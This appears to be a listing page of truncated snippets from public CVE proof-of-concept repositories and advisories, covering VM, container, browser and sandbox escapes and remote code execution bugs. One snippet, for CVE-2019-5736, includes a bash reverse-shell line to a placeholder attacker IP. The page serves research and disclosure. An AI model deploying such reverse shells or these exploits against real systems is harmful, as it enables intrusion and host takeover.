CVE-2023-27326

Parallels Desktop VM Escape This repository contains an exploit for a Parallels Desktop vulnerability which has been assigned CVE-2023-27326. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. The exploit was tested on Parallels Deskto...

CVE-2026-2796-escape-wasm-by-using-wasm

CVE-2026-2796 — SpiderMonkey WebAssembly Sandbox Escape Proof-of-concept exploit chain for CVE-2026-2796 , a JIT miscompilation / type-confusion in Mozilla SpiderMonkey's WebAssembly import optimization "JavaScript: WebAssembly" component. A crafted wasm module obtains arbitrary read/write of the...

CVE-2026-27495

CVE-2026-27495 — n8n JS Task Runner Sandbox Escape Sandbox escape on n8n JavaScript Task Runner via host-realm object leak. | ---|--- CVE| CVE-2026-27495 CVSS| 9.4 Critical CWE| CWE-94 — Code Injection Affected| n8n 1.123.22 / 2.0.0–2.9.2 / 2.10.0 Fixed| 1.123.22 / 2.9.3 / 2.10.1 Attack Surface|...

Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-

Remote Code Execution – CVE-2024-28397 pyload-ng / js2py This repository contains a Proof-of-Concept PoC exploit for CVE-2024-28397 , a Remote Code Execution vulnerability affecting pyload-ng due to insecure usage of js2py. Disclaimer: This PoC is for educational and research purposes only. Do no...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2026-6875-PoC-Exploit

CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework & PoC Verifier ServiceNow AI Platform — JavaScript Injection → Sandbox Escape → RCE → Root Privesc Exploit Framework & Safe Verifier For authorized security testing only. Legal Disclaimer & Responsible Use This tool is provided for...

DEBIAN-CVE-2026-81856

Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in hexpm hex allows a malicious package publisher or a hostile repository server to inject terminal control sequences into the output of Mix tasks. Hex prints strings supplied by the package repository and the documentati...

CVE-2026-53359

🚨 CVE-2026-53359 — Januscape Linux KVM Shadow Paging Use-After-Free Guest-to-Host Escape Januscape is a Linux Kernel KVM vulnerability caused by a Use-After-Free UAF condition in the x86 Shadow MMU. Under vulnerable configurations, a malicious guest can corrupt host memory, leading to host crashe...

CVE-2026-81856 Terminal escape sequence injection in Hex via unneutralized server-supplied output

Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in hexpm hex allows a malicious package publisher or a hostile repository server to inject terminal control sequences into the output of Mix tasks. Hex prints strings supplied by the package repository and the documentati...

CVE-2026-81856

The hexpm hex package (versions 0.0.1 before 2.5.2 ) is vulnerable to Improper Neutralization of Escape, Meta, or Control Sequences (CWE-150). The root cause is that the software prints server-supplied strings directly to the terminal via Hex.Shell.info/1 and Hex.Shell.error/1 without neutralizin...

CVE-2026-81856 Terminal escape sequence injection in Hex via unneutralized server-supplied output

Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in hexpm hex allows a malicious package publisher or a hostile repository server to inject terminal control sequences into the output of Mix tasks. Hex prints strings supplied by the package repository and the documentati...

EEF-CVE-2026-81856 Terminal escape sequence injection in Hex via unneutralized server-supplied output

Summary Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in hexpm hex allows a malicious package publisher or a hostile repository server to inject terminal control sequences into the output of Mix tasks. Hex prints strings supplied by the package repository and the...

poc-cve-2024-0132

poc-cve-2024-0132 Reproduce Env: os: ubuntu 22.04 with nvidia driver docker: v27.1.0 nvidia-container-toolkit: v1.16.1 Reproduce Step: run the poc container image Target: Access host files in the container Call docker daemon apis via the docker.sock in the container Reproduce use the prebuilt poc...

Security update for MozillaThunderbird

This update for MozillaThunderbird fixes the following issues: Update to Mozilla Thunderbird 153.4 MFSA 2026-96, MFSA 2026-103, bsc1280371, bsc1282929: CVE-2026-92005: Use-after-free in the Audio/Video: Web Codecs component. CVE-2026-92006: Privilege escalation due to incorrect boundary condition...

bluetoothdPoC

@RaniXCH bluetoothdPoC CVE-2018-4087 PoC ETA son? Is it a jailbreak? Depends, Got any kernel vulnerability? You're welcome chain them together. This one allow you to have huge attack surface from within the sandbox. https://www.weibo.com/ttarticle/p/show?id=2309404271293301154324 - @SparkZheng -...

CVE-2022-0847-Container-Escape

CVE-2022-0847-Container-Escape CVE-2022-0847 used to achieve container escape 利用CVE-2022-0847 Dirty Pipe 实现容器逃逸 使用go语言实现...

CVE-2024-28397-command-execution-poc

CVE-2024-28397-command-execution-poc This vulnerability arises from incomplete sandboxing in js2py, where crafted JavaScript can traverse Python’s internal object model and access dangerous classes like subprocess.Popen, leading to arbitrary command execution. JSON-Parsers & RCE Exploit PoC...

POC-CVE-2024-6778

CVE-2024-6778 This repository contains proof-of-concept exploits for CVE-2024-6778, which are vulnerabilities in the Chromium web browser that allow a sandbox escape via a browser extension. To run these exploits, you need a version of Chromium older than 126.0.6478.54. Write-up:...

CVE-2026-6307-Longinus

CVE-2026-6307-Longinus Type Confusion in V8 TurboFan JS-to-Wasm call inlining + FrameState merging Better Known as 'Longinus': 2 Boundaries in One Bug Repository: https://github.com/J4ck3LSyN-Gen2/CVE-2026-6307-Longinus Detailed Report: OS-IS-CVE-2026-6307-07-2026.md Technical Write-up: Nebula...

poc-cve-2024-38396

CVE-2024-38396 and CVE-2024-38395 This PoC can e used either via a docker run or simply cat. This repository contains the docker file for vin01/escape-seq-test:cve-2024-38396. The PoC simply opens a calculator on OS X. How to run: Example 1. cat simpler-poc-title-report-code-execution.txt Example...